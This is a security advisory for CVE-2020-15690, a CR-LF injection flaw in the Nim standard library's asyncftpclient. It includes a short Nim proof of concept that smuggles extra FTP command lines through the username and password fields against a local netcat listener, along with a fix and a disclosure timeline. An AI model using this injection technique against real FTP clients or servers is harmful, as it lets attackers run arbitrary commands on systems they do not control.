Nim - stdlib asyncftpd - Crlf Injection

CVE	CVE-2020-15690
Vendor	nim-lang
Affected Versions	< 1.2.6
Vulnerability Class	CWE-93
Author(s)	tintinweb
Date	Feb 4, 2021

Vulnerability Note

1 Summary

In Nim before 1.2.6, the standard library asyncftpclient lacks a check for whether a message contains a newline character.

2 Details

2.1 Description

The nim standard library `asyncftpclient` is vulnerable to multiple `CR-LF` injections. An injection is possible if the attacker controls any argument that is passed to the remote server such as the `username` and `password` to `newAsyncFtpClient`.

The root cause of this issue is that the `send(ftp, msg)` allows `msg` to contain `CR-LF` control characters. An attacker that controls any unchecked input to `send()` can therefore inject arbitrary FTP commands.

```
proc send*(ftp: AsyncFtpClient, m: string): Future[TaintedString] {.async.} =
  ## Send a message to the server, and wait for a primary reply.
  ## ``\c\L`` is added for you.
  ##
  ## **Note:** The server may return multiple lines of coded replies.
  await ftp.csock.send(m & "\c\L")
  return await ftp.expectReply()
```

2.2 Proof of Concept

Note: `nim c -r -d:ssl crlf_inject.nim`

- Injecting FTP commands via `user` and `pass`

```
import asyncdispatch, asyncftpclient
proc main() {.async.} =
  var ftp = newAsyncFtpClient("localhost", user = "test\nINJECTED_LINE test test", pass = "test\nINJECTED_LINE test test 2")
  await ftp.connect()
  echo("Connected")
waitFor(main())
```

Output:

```
⇒ nim c -r -d:ssl  crlf_inject.nim
...
Hint: 104717 LOC; 1.030 sec; 113.309MiB peakmem; Debug build; proj: /Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject.nim; out: /Users/tintin/workspace/nim/test/issues/asyncftpclie
Hint: /Users/tintin/workspace/nim/test/issues/asyncftpclient/crlf_inject  [Exec]
Connected
```

```
⇒  nc -l 21
220 fake ftp
USER test
INJECTED_LINE test test
230 Hi test, thanks for injecting a line...
PASS test
INJECTED_LINE test test 2
230 thx for injecting another line...
```

2.3 Proposed Fix

- properly validate user input
- raise an exception if `CR` or `LF` if found in the `msg` passed to `send()`

3 Vendor Response

Vendor response: fixed in 1.2.6 (Official Security Advisory)

3.1 Timeline

```
JUL/13/2020 - contact nim developers @telegram; provided details, PoC
FEB/04/2021 - public disclosure
MAR/26/2021 - vendor advisory: https://github.com/nim-lang/security/security/advisories/GHSA-hm64-5qwh-q65c
```

4 References

- [1] https://nim-lang.org/
- [2] https://nim-lang.org/install.html
- [3] https://en.wikipedia.org/wiki/Nim_(programming_language)